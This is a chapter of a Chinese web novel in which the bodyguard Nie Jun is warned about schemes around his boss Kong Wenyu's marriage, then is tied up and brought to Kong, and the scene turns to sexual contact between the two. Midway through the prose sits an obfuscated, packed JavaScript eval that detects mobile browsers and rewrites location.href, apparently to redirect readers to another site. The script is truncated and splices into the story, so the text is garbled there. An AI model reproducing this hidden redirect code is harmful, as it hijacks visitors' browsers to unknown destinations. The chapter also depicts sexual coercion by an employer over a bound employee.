聂钧出了门,凌秘书恰好上来,见他出来,便跟着他一起往外走。
下楼梯时,聂钧问他:“最近在忙什么?”
凌秘书笑起来的时候眼睛也会跟着一道弯起来:“下周要上船的事呀,回来以后去看望夫人,钧哥跟着一起去吗?”
“会去,”聂钧想了想,因为孔温瑜有些晕船,因此他问道,“上船是为了敖家?”
“对呀,他家一向事情很多。”凌秘书说,“毕竟有姻亲关系,不好不去的。”
聂钧搓了搓手心:“有没有其他的联姻对象可以选择?”
凌秘书的说法和海鸣一样:“有呀,隆家,狄家,隆家,都有女儿,但是跟敖家是当初孔先生定下的,肯定是经过各方面权衡才最终选定。”
两人走到门边,凌秘书率先伸手给他开门,撑着一侧让他先出去。
聂钧出了门,笑了笑:“家世差一点也没什么,姑娘脾气好人品好就行。”
凌秘书维持着推门的动作:“隆小姐是温柔体贴型的,之前敖隆两家闹得可厉害了,抢老板这个乘龙快婿。”
看来隆小姐脾气真的很好,有一次海鸣也特意感叹过。
“现在不行了,”凌秘书叹了口气,“孔先生因病去世时,咱们老板还在国外,如果不是夫人还在,家产就要落到二姑手里去。现在生男生女都一样,二姑为什么一直不结婚,就是为了争家产嘛。”
聂钧缓缓点头。
凌秘书跟他挥挥手,要回去了:“别跟别人说这些啊钧哥。”
“放心吧。”聂钧说,等他关上门,才走下台阶去找海鸣。
海鸣在值班室里抽烟,见他进来,便吸完最后一口,掐灭在烟灰缸里。
“说什么了?”
聂钧洗了手,一边擦干净,一边说:“说宴会的事。”
海鸣吐出嘴里残存的半口烟:“八成要搞事。”
“什么事?”
“还能什么,”海鸣说,“有钱人就搞那点事,到时候看仔细点吧,别让他们真的把人送到老板床上去。现在这种节骨眼,搞出个孩子来,热闹可就大了。”
聂钧看着他。
“不信啊?”海鸣说,“几年前有一回,老板在船上被人摆了一道,喝的酒里有料。”
聂钧听着耳熟:“然后呢?”
“大发雷霆,当时跟着的保镖换了一个遍。”海鸣说,“还好没出事。”
聂钧心说怎么没出事,就因为我不是女人,所以就不用负责了?
“听说事后又去过几次事发地,”聂钧神色自然地问,“回去找证据?”
“那谁能知道。”海鸣说,“那次我不在。”
聂钧点一下头,不说话了。
海鸣还是不放心,看了他一眼:“到时候肯定会有人给老板床上送人,如果我不在,你看着点,要干净的。”
聂钧沉默片刻:“怎么看?”
“用眼看啊,”海鸣有点莫名,“那不是一眼的事。”
聂钧不应声,海鸣就以为他不懂:“站姿,走路,神情,有没有经过人事区别很大。一定要搜身,防止携带东西,发夹也要摘掉。提醒老板戴好安全t,不要用船上的,到时候你随身带着。如果他不收人,你就借口准备好了,带老板走。”
“如果他收呢?”聂钧问。
“那就检查好把人送进房,t放下,然后看着点监控,别让人钻空子。”
聂钧偏头望向窗外,想点烟。
他的烟放在裤子口袋里,没去拿,出了口气,“嗯”了一声。
海鸣都交代差不多,乐观道:“也不一定,没准老板带敖小姐一起去呢。”
聂钧想起小狼来,眉目间有些阴沉,又低低“嗯”了一声。
就在这时,内线响了。
海鸣清了一下喉咙,很快接起来:“值班室,海鸣。”
孔温瑜在那边听不出语气地说:“把聂钧绑过来。”
为什么是‘绑过来’而不是‘让他过来’?
何况聂钧不是刚从里面出来吗?
海鸣不由看向聂钧。
聂钧不明所以,但是感觉不妙。
“五分钟。”孔温瑜说。
电话挂断,海鸣思考了两秒,决定先礼后兵,盯着聂钧:“老板说,让我把你绑过去。”
“?”聂钧不明所以,“什么?”
“老板说把你绑过去,五分钟以内。”海鸣重复了一遍,余光已经瞄到了挂在门边墙上的尼龙绳。
今日值班的保镖不时经过窗外,起身望向远处的健身器材,三三两两都泡在那里锻炼或者闲聊。
偶尔有人投过来视线,也是为了观察值班室里的动向。
聂钧沉默片刻,伸出手,并在一起举到身前。
海鸣松了口气,一边拿绳子绑住他手腕,一遍问:“你犯什么错了?”
聂钧顿了顿:“不知道。”
海鸣三两下把他手腕捆结实,示意他先出门:“那为什么,说错话了?”
聂钧猜测有两个原因,一是因为孔温瑜知道他昨夜打了小狼,要惩罚他。二是因为刚刚他的举动惹恼了孔温瑜,还是要惩罚他。
总之都是要罚,他默认了。
海鸣带他进了楼,到孔温瑜卧室外,敲门进去发现没人在。
朱姨在楼梯转角处擦灰,提醒道:“在书房。”
海鸣愣了愣,不解地看了一眼不发一语却也没有过分严肃的聂钧:“你说了不该说的?”
聂钧想了想:“不确定。”
海鸣又带他去书房,指纹打开门,里面空空如也,孔温瑜还是没在。
海鸣先进去有放映厅的密室里找,没找到人,出来以后又进了书房套间,在里面又打开另外一扇密室的门。
密室里没开灯,只有几扇顶窗,能隐约透出两分天光。
孔温瑜在昏昏沉沉的天色中背对着门站在窗前,他面前是整面墙的器具,在阴影里看不清每件的详情。
“聂钧带来了。”海鸣低声提醒。
孔温瑜没回头,抬手招了一下,海鸣看到,把聂钧带进来,跪在了深灰色的大理石地板上。
孔温瑜伸手拿下来距离最近的麻绳,往后一步靠坐在深红色的桌子上,朝后摆了摆手。
海鸣看到,无声退了出去。
聂钧分着双膝跪在地上,绑着的双手搭在大腿上,没有要挣脱的意思。
孔温瑜从桌上的木盒里拿了一支烟,咬在齿间。
过了一会儿,聂钧仰头望着他率先开口:“对不起,刚刚在卧室里,我可能吓到你了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15710531|173629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“咔”一声,孔温瑜偏头用打火机点燃了烟。
他以前应该不抽烟,聂钧推断。
因为三年前他身上没有一点烟味。
孔温瑜背对着他,缓缓吐出一口白色的烟雾,在朦胧中侧过头看向他。
那视线很不好形容,聂钧这次没有移开目光,望着微弱的天光在他脸上勾勒出来的线条。
孔温瑜又低头吸了口烟,呼出来时勾唇笑了一下,转过身,双手撑在桌子上,盯着聂钧:“你比Shola有趣。”
Shola是孔温瑜养的德国牧羊犬,平时一脸凶相,酷爱运动。天气渐热后,被送去疗养院陪孔夫人了。
聂钧调查过,也看过照片。
他双腿分开撑着,跪着不动,天光虽弱,却也能将他高大的轮廓照映清楚,结结实实的。
因为孔温瑜不喜欢下属多话,因此手下的保镖大多数都沉默寡言,表象十分木讷。
聂钧也沉默寡言,但他不木讷也不老实,他只是内敛。
孔温瑜打量他片刻,目光在他腕间的绳子上徘徊,意味深长道:“在孔家,只有我伤害别人的份。”
不是为了小狼的事,聂钧松了口气。
孔温瑜观察着他的变化,可能是因为他刚刚吸完了一支烟,嗓音有些明显的沙哑:“听说你多次打听我的婚事,是对此有什么想法?”
他的眼皮很单薄,上眼线一直到眼尾的弧度十分平缓,末梢微微上扬。
常常给人一种精明感和睡不醒的漠然感,结合起来很矛盾。
聂钧反应过来,别开视线:“没有。”
孔温瑜肆意打量着他,嘴角勾着一点若有似无的笑。
聂钧解释道:“可能是跟别人闲聊了两句,不是故意打听你的隐私。”
孔温瑜不知听没听进去。
他又吸了半口烟,把还剩下半根的烟头摁灭在烟灰缸里,转出书桌,缓步走近了。
聂钧回想起上次在密室里的时候,他也是这样,穿着宽大的睡衣,很慢地绕着他走了一圈,像是在观察正在被驯服的猎物。
“没有想法?”孔温瑜轻飘飘地问。
聂钧余光扫到他手上的麻绳,顿了顿才说:“没有。”
孔温瑜在他身侧停下脚步,垂眼扬了扬嘴角:“不诚实。”
他身上有很淡的烟味,更多的是薄荷草的凛冽清爽。
聂钧感觉被浸染到了。
他已经打定主意,无论孔温瑜怎么逼问,都不松口。
孔温瑜没有逼问,脚从居家拖鞋里抽出来,轻轻踩到了他的大腿上。
聂钧看了一眼,没吭声。
孔温瑜偏了偏头,垂低的眼睫投下幽深的暗影,他专注地看着他,脚一点点攀上去,像是要去摸索口袋里的袖扣。
聂钧呼吸顿了顿,不得不伸手捉住他作祟的脚尖。
“被绑住了还敢动。”孔温瑜轻声说。
聂钧跪在地上仰头望着他,开口时声音异常低沉,眼睛也暗:“保镖守则里……没有这一条。”
“可你看上去,”孔温瑜把脚收回来,绕开他的手,重新踩上去,直接踩到了他两腿中间,反复摩挲,“不像是会反对的模样。”
聂钧屏住呼吸,漆黑的瞳仁一颤,被孔温瑜的身影彻底挡住了。